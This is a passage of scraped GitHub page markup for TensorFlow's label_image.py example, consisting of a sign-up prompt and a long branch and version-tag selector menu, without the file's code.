<!-- blob contrib key: blob_contributors:v21:bc2592872637e02011816a774a43e3d4 -->
<div class="signup-prompt-bg rounded-1">
<div class="signup-prompt p-4 text-center mb-4 rounded-1">
<div class="position-relative">
<!-- '"` --><!-- </textarea></xmp> --></option></form><form action="/site/dismiss_signup_prompt" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="Ob/Zayig5aC5RgfO2C1q/D7Vptd7v9j1CmaEmJA6iBXAlcaIgZHq+qEMn8k4lvcYGiBVpj5mF3KDYZNOZ2NVZg==" />
<button type="submit" class="position-absolute top-0 right-0 btn-link link-gray" data-ga-click="(Logged out) Sign up prompt, clicked Dismiss, text:dismiss">
Dismiss
</button>
</form> <h3 class="pt-2">Join GitHub today</h3>
<p class="col-6 mx-auto">GitHub is home to over 28 million developers working together to host and review code, manage projects, and build software together.</p>
<a class="btn btn-primary" href="/join?source=prompt-blob-show" data-ga-click="(Logged out) Sign up prompt, clicked Sign up, text:sign-up">Sign up</a>
</div>
</div>
</div>
<div class="file-navigation">
<div class="select-menu branch-select-menu js-menu-container js-select-menu float-left "
>
<button class="btn btn-sm select-menu-button js-menu-target css-truncate" data-hotkey="w"
type="button" aria-label="Switch branches or tags" aria-expanded="false" aria-haspopup="true">
<i>Branch:</i>
<span class="js-select-button css-truncate-target">master</span>
</button>
<div class="select-menu-modal-holder js-menu-content js-navigation-container" data-pjax>
<div class="select-menu-modal">
<div class="select-menu-header">
<svg class="octicon octicon-x js-menu-close" role="img" aria-label="Close" viewBox="0 0 12 16" version="1.1" width="12" height="16"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg>
<span class="select-menu-title">Switch branches/tags</span>
</div>
<tab-container>
<div class="select-menu-filters">
<div class="select-menu-text-filter">
<input type="text" aria-label="Filter branches/tags" id="context-commitish-filter-field" class="form-control js-filterable-field js-navigation-enable" placeholder="Filter branches/tags">
</div>
<div class="select-menu-tabs" role="tablist">
<ul>
<li class="select-menu-tab">
<button type="button" class="select-menu-tab-nav" data-filter-placeholder="Filter branches/tags" role="tab" aria-selected="true">Branches</button>
</li>
<li class="select-menu-tab">
<button type="button" class="select-menu-tab-nav" data-filter-placeholder="Find a tag…" role="tab">Tags</button>
</li>
</ul>
</div>
</div>
<div class="select-menu-list" role="tabpanel">
<div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/0.6.0/tensorflow/examples/label_image/label_image.py"
data-name="0.6.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
0.6.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/ChrisAntaki-patch-1/tensorflow/examples/label_image/label_image.py"
data-name="ChrisAntaki-patch-1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
ChrisAntaki-patch-1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/cherrypick/tensorflow/examples/label_image/label_image.py"
data-name="cherrypick"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
cherrypick
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/chihuahua-correct-metadata-path/tensorflow/examples/label_image/label_image.py"
data-name="chihuahua-correct-metadata-path"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
chihuahua-correct-metadata-path
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open selected"
href="/tensorflow/tensorflow/blob/master/tensorflow/examples/label_image/label_image.py"
data-name="master"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
master
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/merge_branch/tensorflow/examples/label_image/label_image.py"
data-name="merge_branch"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
merge_branch
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/meteorcloudy-patch-1/tensorflow/examples/label_image/label_image.py"
data-name="meteorcloudy-patch-1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
meteorcloudy-patch-1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r0.7/tensorflow/examples/label_image/label_image.py"
data-name="r0.7"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r0.7
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r0.8/tensorflow/examples/label_image/label_image.py"
data-name="r0.8"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r0.8
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r0.9/tensorflow/examples/label_image/label_image.py"
data-name="r0.9"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r0.9
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r0.10/tensorflow/examples/label_image/label_image.py"
data-name="r0.10"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r0.10
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r0.11/tensorflow/examples/label_image/label_image.py"
data-name="r0.11"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r0.11
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r0.12/tensorflow/examples/label_image/label_image.py"
data-name="r0.12"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r0.12
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.0/tensorflow/examples/label_image/label_image.py"
data-name="r1.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.1/tensorflow/examples/label_image/label_image.py"
data-name="r1.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.2/tensorflow/examples/label_image/label_image.py"
data-name="r1.2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.3/tensorflow/examples/label_image/label_image.py"
data-name="r1.3"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.3
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.4/tensorflow/examples/label_image/label_image.py"
data-name="r1.4"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.4
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.5/tensorflow/examples/label_image/label_image.py"
data-name="r1.5"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.5
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.6/tensorflow/examples/label_image/label_image.py"
data-name="r1.6"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.6
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.7/tensorflow/examples/label_image/label_image.py"
data-name="r1.7"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.7
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.8/tensorflow/examples/label_image/label_image.py"
data-name="r1.8"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.8
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.9/tensorflow/examples/label_image/label_image.py"
data-name="r1.9"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.9
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.10/tensorflow/examples/label_image/label_image.py"
data-name="r1.10"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.10
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.11/tensorflow/examples/label_image/label_image.py"
data-name="r1.11"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.11
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.12/tensorflow/examples/label_image/label_image.py"
data-name="r1.12"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.12
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/r1.13/tensorflow/examples/label_image/label_image.py"
data-name="r1.13"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
r1.13
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/smit-hinsu-patch-1/tensorflow/examples/label_image/label_image.py"
data-name="smit-hinsu-patch-1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
smit-hinsu-patch-1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/terrytangyuan-patch-1/tensorflow/examples/label_image/label_image.py"
data-name="terrytangyuan-patch-1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
terrytangyuan-patch-1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/update-rel-notes/tensorflow/examples/label_image/label_image.py"
data-name="update-rel-notes"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
update-rel-notes
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/update-version/tensorflow/examples/label_image/label_image.py"
data-name="update-version"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
update-version
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/yifeif-patch-1/tensorflow/examples/label_image/label_image.py"
data-name="yifeif-patch-1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target js-select-menu-filter-text">
yifeif-patch-1
</span>
</a>
</div>
<div class="select-menu-no-results">Nothing to show</div>
</div>
<div class="select-menu-list" role="tabpanel" hidden>
<div data-filterable-for="context-commitish-filter-field" data-filterable-type="substring">
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.12.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.12.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.12.0">
v1.12.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.12.0-rc2/tensorflow/examples/label_image/label_image.py"
data-name="v1.12.0-rc2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.12.0-rc2">
v1.12.0-rc2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.12.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.12.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.12.0-rc1">
v1.12.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.12.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.12.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.12.0-rc0">
v1.12.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.11.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.11.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.11.0">
v1.11.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.11.0-rc2/tensorflow/examples/label_image/label_image.py"
data-name="v1.11.0-rc2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.11.0-rc2">
v1.11.0-rc2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.11.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.11.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.11.0-rc1">
v1.11.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.11.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.11.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.11.0-rc0">
v1.11.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.10.1/tensorflow/examples/label_image/label_image.py"
data-name="v1.10.1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.10.1">
v1.10.1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.10.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.10.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.10.0">
v1.10.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.10.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.10.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.10.0-rc1">
v1.10.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.10.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.10.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.10.0-rc0">
v1.10.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.9.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.9.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.9.0">
v1.9.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.9.0-rc2/tensorflow/examples/label_image/label_image.py"
data-name="v1.9.0-rc2"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.9.0-rc2">
v1.9.0-rc2
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.9.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.9.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.9.0-rc1">
v1.9.0-rc1
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.9.0-rc0/tensorflow/examples/label_image/label_image.py"
data-name="v1.9.0-rc0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.9.0-rc0">
v1.9.0-rc0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.8.0/tensorflow/examples/label_image/label_image.py"
data-name="v1.8.0"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.8.0">
v1.8.0
</span>
</a>
<a class="select-menu-item js-navigation-item js-navigation-open "
href="/tensorflow/tensorflow/blob/v1.8.0-rc1/tensorflow/examples/label_image/label_image.py"
data-name="v1.8.0-rc1"
data-skip-pjax="true"
rel="nofollow">
<svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg>
<span class="select-menu-item-text css-truncate-target" title="v1.8.0-rc1">
v1.8.0-rc1
</span>
</a>
